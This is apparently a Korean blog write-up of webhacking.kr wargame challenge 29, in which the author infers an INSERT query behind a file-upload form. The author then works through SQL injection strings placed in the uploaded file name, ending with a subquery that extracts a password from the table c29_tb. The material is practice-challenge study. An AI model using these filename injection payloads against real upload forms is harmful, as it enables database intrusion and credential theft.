WarGame/WebHacking.kr

webhacking.kr 29번

DoR@Hee 2019. 2. 20. 20:06



문제 첫화면 파일업로드를 이용해서 푸는 문제같다. 단 sql injection은 아닌거 같다.



파일을 올려보면 현재 시간(서버), 아이피, 올린파일순으로 저장되는걸 확인할수있고






서버에 업로드 하는것은 filename만 인것으로 보아 time(), $_SERVER['REMOTE_ADDR']를 서버 내에서 사용하는거 같다.

이로 유추해 봤을 때 db에 저장되는 query문으로

insert into table values(time(),$_SERVER['REMOTE_ADDR'],$file_name); 를 사용한 다는걸 유추할수있고,


db에 입력된 값을 select문을 이용해서 뿌려준다는걸 예측 할 수 있다. 




그래서

a'),('a','0x~~~~~)','asdf'))로 file name에 집어넣었고 

insert into table values(time(),$_SERVER['REMOTE_ADDR'],a'),('a','0x~~~~~','asdf')) 해당쿼리는 이렇게 들어갈 것이다 --query error




그래서 조금 더 검색을 해 본결과

insert into table values(time(),$_SERVER['REMOTE_ADDR'],$file_name);  무조건 저렇게 입력값이 들어간다는 법은 없을것이다




a'),(0x~~~~~,'1','1')--  ex) ip가 첫번째에 있을경우 //query error




계속해서 쿼리를 입력하다 보니 $file_name이 첫번째에 들어갈수도 있을거 같았다.


qawea','11',0x~~~~))-- done


여기서 결론


insert into table values($file_name,time(),$_SERVER['REMOTE_ADDR']); 

그래서


a',(select password from c29_tb),0x~~~~#


성공


개인적으로 지금까지 풀었던 문제중 가장 까다라운 문제


ip가 다르다면 그 동안 db에 넣었던게 안보여지기도 하고 삽질을 엄청많이했다.